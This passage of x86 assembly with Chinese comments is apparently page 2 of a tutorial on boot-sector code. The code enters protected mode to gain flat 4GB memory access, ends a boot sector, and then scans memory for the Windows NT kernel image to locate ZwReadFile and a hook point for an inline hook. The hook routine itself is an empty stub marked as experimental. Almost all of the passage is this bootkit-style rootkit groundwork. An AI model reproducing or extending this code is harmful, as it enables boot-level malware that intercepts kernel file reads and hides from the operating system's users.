|
MakeFS4GBSegment proc ;#####设置FS段让dos可以用FS段访问4GB内存#### mov esi,800h ;#####同时返回ebx=cr3让DOS可以更改页映射#### sub eax,eax mov cs:[si],eax ;MyGdt开始ds:[si] mov cs:[si+4],eax ;空描述符 mov ax,cs shl eax,4 ;代码段物理地址 rol eax,8 ;设置代码段描述符 mov cs:[si+8+7],al ;代码段基址高8位 mov al,9ah ;存在的可执行可读代码段 ror eax,8 ;低24位是代码段基址 mov cs:[si+8+2],eax mov word ptr cs:[si+8],0ffffh ;设置段界限低16位 mov byte ptr cs:[si+8+6],0 ;段界限16~19位含段属性高4位 mov dword ptr cs:[si+8+8],0ffffh ;设置数据段描述符 mov dword ptr cs:[si+8+8+4],0cf9200h ;数据段属性及基址 mov dword ptr cs:[si+8+8+8],0 mov dword ptr cs:[si+8+8+8+4],0 ;空描述符MyGdt结束cs:[4*8] xor eax,eax mov ax,cs mov cs:[Code_Base - CodeStart],cs ;###注意:变量所在内存位置### shl eax,4 add eax,esi ;eax->MyGdt mov cs:[si+8+8+8+8+2],eax ;设置GDT开始物理地址到GDTR mov word ptr cs:[si+8+8+8+8],31 ;设置GDTR界限 lgdt fword ptr cs:[si+8+8+8+8] ;设置新的GDTR(cs:[si+8+8+8+8])注意:以下几条指令执行要关中断 in al,92h or al,2 out 92h,al ;打开A20地址线 mov eax,cr0 or al,1 mov cr0,eax ;进入保护模式 DB 0eah ;jmp 08:PM_Service DW PM_Service ;跳转到保护模式代码执行 DW 8 ;8代码段选择子 PM_Service: mov ax,16 ;16数据段选择子(就是在MyGdt里的偏移) mov fs,ax ;***###fs->保护模式数据段###*** mov ebx,cr3 ;***###ebx=cr3注意:只能在保护模式获取###*** mov eax,cr0 and al,0feh mov cr0,eax ;返回实模式 db 0eah ;jmp SEG Real_Service:offset Real_Service dw Real_Service - CodeStart ;###注意:变量所在内存位置### Code_Base dw 0 Real_Service: ;关闭A20地址线in al,92h|and al,0fdh|out 92h,al ret MakeFS4GBSegment endp ;***************************************************************************************************** org 1feh dw 0aa55h ;第一个扇区结束 ;***************************************************************************************************** ;**************暴力内存搜索PE镜像->API(ZwReadFile)地址,注意:入口edi线性地址在保护模式下等情况!******** MemScansAPIAddr proc ;入口:edi->内存开始 ecx=内存结束值注意:没保护现场 ;出口:edi->Image Base,ebx->PE HOOK点,eax=旧函数地址 edi=0,没找到 mov edi,400000h ;#####分析发现各版NT Kernel base在400000h ~ 900000h内版本越高越后###### .while edi < 900000h ;#@!*##内存结束地址注意:未分页情况下不能超过内存总大小.#*%## mov eax,edi ;##为了缩短搜索时间注意:设置搜索范围## add eax,fs:[eax+3ch] ;eax->PE头 .if word ptr fs:[edi] != 5a4dh || dword ptr fs:[eax] != 00004550h || dword ptr fs:[eax+78h] == 0 add edi,1000h ;edi->下一个模块(模块以页为单位加载) .continue ;NOT(PE镜像有导出函数表) .endif ;#####找到一个镜像且有导出函数表:edi->Image Base,eax->PE头##### mov ebx,fs:[eax+78h] add ebx,EDI ;ebx->IMAGE_EXPORT_DIRECTORY mov ecx,fs:[ebx+18h] ;edx=以名称导出的函数总数 mov eax,fs:[ebx+20h] ;eax->导出函数名地址表的RVA add eax,EDI ;eax->导出函数名地址表 mov ebx,fs:[ebx+1ch] ;ebx->导出函数地址表的RVA add ebx,EDI ;ebx->导出函数地址表 and ecx,0ffffh ;#####发现WINXP/2003循环成死循环.###### .while ecx > 0 mov esi,fs:[eax] ;esi->输出表中的当前函数名字RVA and esi,0ffffffh ;######发现在WIN2003上出错###### add esi,EDI ;esi->输出表中的当前函数名字 ;这样子适合API名字较短情况.适当改下代码可在32位代码用和变成通用函数. .if dword ptr fs:[esi]==6552775ah && dword ptr fs:[esi+4]==69466461h && word ptr fs:[esi+8]==656ch mov eax,fs:[ebx] add eax,EDI ret .endif dec ecx add eax,4 ;每个函数名地址占4个字节 add ebx,4 ;每个函数地址指针占4个字节 .endw add edi,1000h ;#####edi->下一个页.PE模块(镜像)总是以页为基址(边界)读入内存的##### .endw xor edi,edi ;没找到退出! ret MemScansAPIAddr endp Code16End: RealCode ends Code16Size equ Code16End - CodeStart ;Code16Size -> VirtualCode(相对偏移),便于后面计算地址用 ;***#####################################以上代码工作在,实模式下.######################################*** ;********************************************************************************************************* VirtualCode segment byte use32 ;##########可工作在32位保护模式的代码######### Code32Start:
;*********************我们的ZwReadFile函数,这里供实验没写什么!****************************** MyZwReadFile proc ;尽量内存寻址使用相对寻址指令(call,jmp..等指令). mov eax,0 ;模拟实现Inline HOOK的特征码,不同版本这里不同 MyZwReadFileARG equ $Content$nbsp;- 4 ret MyZwReadFile endp Code32End: ;********************************************************************************************************* VirtualCode ends end CodeStart ;编译ml aa.asm ren aa.com aa.img.文件就可以用WMware调试了.... 上一页 [1] [2] |